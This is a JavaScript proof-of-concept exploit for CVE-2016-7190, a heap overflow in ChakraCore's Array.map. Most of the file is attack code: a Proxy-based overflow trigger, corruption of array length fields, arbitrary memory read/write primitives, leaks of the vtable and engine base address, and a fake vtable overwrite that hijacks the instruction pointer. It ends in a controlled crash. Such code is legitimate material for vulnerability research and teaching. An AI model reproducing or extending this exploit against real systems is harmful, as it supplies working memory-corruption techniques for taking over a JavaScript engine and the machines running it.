function hex(a) { if (a == undefined) return "0xUNDEFINED"; var ret = a.toString(16); if (ret.substr(0,2) != "0x") return "0x"+ret; else return ret; } // based on Long.js by dcodeIO // https://github.com/dcodeIO/Long.js // License Apache 2 class _u64 { constructor(hi, lo) { this.lo_ = lo; this.hi_ = hi; } hex() { var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16) var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16) if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length); if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length); hlo = "00000000" + hlo hlo = hlo.substr(hlo.length-8, hlo.length); return "0x" + hhi + hlo; } isZero() { return this.hi_ == 0 && this.lo_ == 0; } equals(val) { return this.hi_ == val.hi_ && this.lo_ == val.lo_; } and(val) { return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_); } add(val) { var a48 = this.hi_ >>> 16; var a32 = this.hi_ & 0xFFFF; var a16 = this.lo_ >>> 16; var a00 = this.lo_ & 0xFFFF; var b48 = val.hi_ >>> 16; var b32 = val.hi_ & 0xFFFF; var b16 = val.lo_ >>> 16; var b00 = val.lo_ & 0xFFFF; var c48 = 0, c32 = 0, c16 = 0, c00 = 0; c00 += a00 + b00; c16 += c00 >>> 16; c00 &= 0xFFFF; c16 += a16 + b16; c32 += c16 >>> 16; c16 &= 0xFFFF; c32 += a32 + b32; c48 += c32 >>> 16; c32 &= 0xFFFF; c48 += a48 + b48; c48 &= 0xFFFF; return new _u64((c48 << 16) | c32, (c16 << 16) | c00); } addi(h,l) { return this.add(new _u64(h,l)); } subi(h,l) { return this.sub(new _u64(h,l)); } not() { return new _u64(~this.hi_, ~this.lo_) } neg() { return this.not().add(new _u64(0,1)); } sub(val) { return this.add(val.neg()); }; swap32(val) { return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) | ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF); } bswap() { var lo = swap32(this.lo_); var hi = swap32(this.hi_); return new _u64(lo, hi); }; } var u64 = function(hi, lo) { return new _u64(hi,lo) }; function main2() { var n = []; for (var i = 0; i < 0x10; i++) { // nice pattern for easy checking with debugger n.push([i*0x10000 | 1, i*0x10000 | 2, i*0x10000 | 3, i*0x10000 | 4, i*0x10000 | 5, i*0x10000 | 6, i*0x10000 | 7, i*0x10000 | 8, i*0x10000 | 9, i*0x10000 | 0x10, i*0x10000 | 0x11, i*0x10000 | 0x12, i*0x10000 | 0x13, i*0x10000 | 0x14, i*0x10000 | 0x15, i*0x10000 | 0x16, i*0x10000 | 0x17, i*0x10000 | 0x18, i*0x10000 | 0x19, i*0x10000 | 0x20, i*0x10000 | 0x21, i*0x10000 | 0x22, i*0x10000 | 0x23]); } var c = [new Uint8Array(0x100000), new Uint8Array(0x20), new Uint8Array(0x20), new Uint8Array(0x20), new Uint8Array(0x20), new Uint8Array(0x20)]; n.push(c); class fake extends Object { static get [Symbol.species]() { return function() { return n[5]; }; }; } var handler = { get: function(target, name){ if(name == "length"){ return 0x200; } if(name == "constructor") return fake; if(name == 0) { // leak base addr of NativeIntArray n[6] return n[6]; } if(name == 1) { // leak base addr Uint8Array 0x100000 return n[0x10][0]; } if(name == 17) { // overwrite n[6] JavascriptArray.length return 0x7FFFFFFF; } if(name == 21) { // overwrite len of n[6] SparseArraySegment.length return 0x7f00000000; } if(name == 22) { // overwrite length of n[6] SparseArraySegment.size return 0x7FFFFFFF; } return 0; // never executed }, // by only returning for some elements true we avoid linear buffer overflow // -> overwrite only specifc values has: function(target, name){ //print("has " + name); if(name == 0 || name == 1 || name == 17 || name == 21|| name == 22) { return true; } return false; } }; var y = new Proxy([], handler); // ---------------------------------------------------------------------------- // Exploit heap overflow to gain arbitrary read/write // // - Used vulnerability in Array.map (CVE-2016-7190) // - More info and PoC: // - https://technet.microsoft.com/library/security/ms16-119 // - https://bugs.chromium.org/p/project-zero/issues/detail?id=923 // ---------------------------------------------------------------------------- // trigger overflow var o = Array.prototype.map.apply(y, [function(a){ return a; }]); print(hex(n[6].length)); w32_rel = function(offset, val) { n[6][(offset - 0x18)/4] = val; } r32_rel = function(offset) { return n[6][(offset - 0x18)/4]; } // by overwriting // - JavascriptArray.length // - SparseArraySegment.length // - SparseArraySegment.size // we can use the native JS array for oob access // DEBUG // print(hex(n[5][1]) + " " + hex(n[5][0])); // print(hex(n[5][3]) + " " + hex(n[5][2])); var uint8_base_addr = u64(n[5][3], n[5][2]); var uint8_base_offset = n[5][2]- (n[5][0] + 0x40); print("[+] Uint8Array addr: " + hex(uint8_base_addr.hex())); // print("Uint8Array offset>> : " + hex(uint8_base_offset)); // print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20))); w32_rel(uint8_base_offset +0x20, 0x4141); // print("n[0x10][0].length " + n[0x10][0].length); // print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20))); // get non clamped vtable var vtable_low_addr = r32_rel(uint8_base_offset +0x40); w32_rel(uint8_base_offset, vtable_low_addr); //print("Uint8Array length2>> " + hex(r32_rel(uint8_base_offset +0x28))); //print("Uint8Array length3>> " + hex(r32_rel(uint8_base_offset +0x2C))); var uint8_buf_addr = u64(r32_rel(uint8_base_offset + 0x3C), r32_rel(uint8_base_offset + 0x38)) print("[+] Uint8Array buf addr: " + uint8_buf_addr.hex()); // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Define functions that read/write various data widths from/to memory // // ---------------------------------------------------------------------------- // define functions to read and write arbitrary memory var set_buffer_addr = function(u64_addr) { w32_rel(uint8_base_offset +0x38, u64_addr.lo_); w32_rel(uint8_base_offset +0x3C, u64_addr.hi_); } var r8 = function(u64_addr) { set_buffer_addr(u64_addr); return n[0x10][0][0]; }; var r16 = function(u64_addr) { set_buffer_addr(u64_addr); return n[0x10][0][1] << 8 | n[0x10][0][0]; }; var r32 = function(u64_addr) { set_buffer_addr(u64_addr); return n[0x10][0][3] << 24 | n[0x10][0][2] << 16 | n[0x10][0][1] << 8 | n[0x10][0][0]; }; var r64 = function(u64_addr) { set_buffer_addr(u64_addr); return u64(n[0x10][0][7] << 24 | n[0x10][0][6] << 16 | n[0x10][0][5] << 8 | n[0x10][0][4] << 32, n[0x10][0][3] << 24 | n[0x10][0][2] << 16 | n[0x10][0][1] << 8 | n[0x10][0][0]); }; var w8 = function(u64_addr, u8_val) { set_buffer_addr(u64_addr); n[0x10][0][0] = u8_val & 0xFF; } var w32 = function(u64_addr, u32_val) { set_buffer_addr(u64_addr); n[0x10][0][0] = (u32_val >> 0) & 0xFF; n[0x10][0][1] = (u32_val >> 8) & 0xFF; n[0x10][0][2] = (u32_val >> 16) & 0xFF; n[0x10][0][3] = (u32_val >> 24) & 0xFF; } var w64 = function(u64_addr, u64_val) { set_buffer_addr(u64_addr); n[0x10][0][0] = (u64_val.lo_ >> 0) & 0xFF; n[0x10][0][1] = (u64_val.lo_ >> 8) & 0xFF; n[0x10][0][2] = (u64_val.lo_ >> 16) & 0xFF; n[0x10][0][3] = (u64_val.lo_ >> 24) & 0xFF; n[0x10][0][4] = (u64_val.hi_ >> 0) & 0xFF; n[0x10][0][5] = (u64_val.hi_ >> 8) & 0xFF; n[0x10][0][6] = (u64_val.hi_ >> 16) & 0xFF; n[0x10][0][7] = (u64_val.hi_ >> 24) & 0xFF; } // These offset highly depend on the version of Chakra(Core)/Windows uint8_vtable_addr = r64(uint8_base_addr); print("[+] uint8Array vtable: " + uint8_vtable_addr.hex()); uint8_vtable_addr = r64(uint8_base_addr); var chakra_base_addr = r64(uint8_base_addr).subi(0,0x5726f0); // read vtable function print("[+] ChakraCore base addr: " + chakra_base_addr.hex()); // fake vtable w64(uint8_buf_addr.addi(0,0x130), u64(0x41414141,0x41414141)); // overwrite vtable w64(uint8_base_addr.addi(0,0x80) , uint8_buf_addr); // trigger call print("[+] hijacking RIP (will crash application, run in debugger to see the 41414141...)"); print(c[2][0]); // shouldn't be reached return 0; } print(main2());